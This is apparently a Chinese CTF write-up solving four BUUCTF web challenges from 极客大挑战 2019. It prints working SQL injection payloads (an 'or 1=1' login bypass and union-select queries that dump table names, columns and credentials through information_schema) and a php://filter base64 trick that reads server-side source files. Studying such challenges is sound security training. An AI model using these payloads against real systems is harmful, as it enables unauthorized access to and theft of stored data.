[极客大挑战 2019]EasySQL
打开后是一个登录框,直接尝试万能密码
(用户名:1’ or 1=1 # 密码:随便输)
登录得到flag
这里的万能密码是为什么呢?
数据库中的查询语句:
select id from users where username = '' or 1=1-- and password = '456'
又 这里呢1=1永远为真,后面 and password = ‘456’被注释掉了。数据库不需要考虑,这里我们就跳过了验证。
绕圈子的写法
尝试输入用户名和密码,在用户名和密码处输入正常数字时显示NO,Wrong username password!!! 但是在用户名和密码处输入数字加上’时页面报错,尝试换成数字+)没有报错,所以判断存在sql注入并且闭合符号为’
接着查询字段数
http://0c01d356-491f-4f75-be44-ec8e20c6661c.node4.buuoj.cn:81/check.php?``username=1' order by 4%23&password=1
查询注入点
http://0c01d356-491f-4f75-be44-ec8e20c6661c.node4.buuoj.cn:81/check.php?username=1' union select 1,2,3%23&password=1
这时已经爆出了flag
[极客大挑战 2019]Havefun
打开后一个挺好玩的网站,查看源代码,拉到底发现是一个简单的get传值,
直接输入?cat=dog
可以得到flag
[极客大挑战 2019]Secret File
是个网站,先查看源代码,发现有一个可以点的网站,点开进入
按钮点了之后会迅速返回到这里
尝试抓包,看看有没有有用的信息,抓包发现有一个文件,访问
访问后又发现一个提示
访问flag.php发现什么也没有,这里思路断了不知道咋那么写了,查看别人的wp发现要用到filter伪协议没见过,去百度搜了下,这里用到的是base过滤器:
base64的编码转换操作,例如:
file_get_contents("php://filter/read=convert.base64-encode/resource=data://text/plain,m1sn0w");
Quoted-printable
可译为可打印字符引用编码,可以理解为将一些不可打印的ASCII字符进行一个编码转换,转换成=后面跟两个十六进制数,例如:
file_get_contents("php://filter/read=convert.quoted-printable-encode/resource=data://text/plain,m1sn0w".chr(12));
输出为m1sn0w=0C
摘自大佬博客:https://cxymm.net/article/gental_z/122303393
所以这里要构造语句
?file=php://filter/convert.base64-encode/resource=flag.php
可以得到一长串base密码,找个网站解密可以得到flag
[极客大挑战 2019]LoveSQL
打开后发现是一个登录框,尝试万能密码
可以得到这个
尝试登陆,果然登不上
那就sql注入,查询字符段
?username=1' order by 3%23&passward=1
?username=1' order by 4%23&passward=1
4时报错,字段数为3
然后查询注入点
?username=1' union select 1,2,3%23&password=1
得到回显点位为2和3,查询当前数据库名及版本:
?username=1' union select 1,database(),version()%23&password=1
然后爆表
?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆字段,先爆l0ve1ysq1这个表
?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
最后爆数据,得到flag
?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1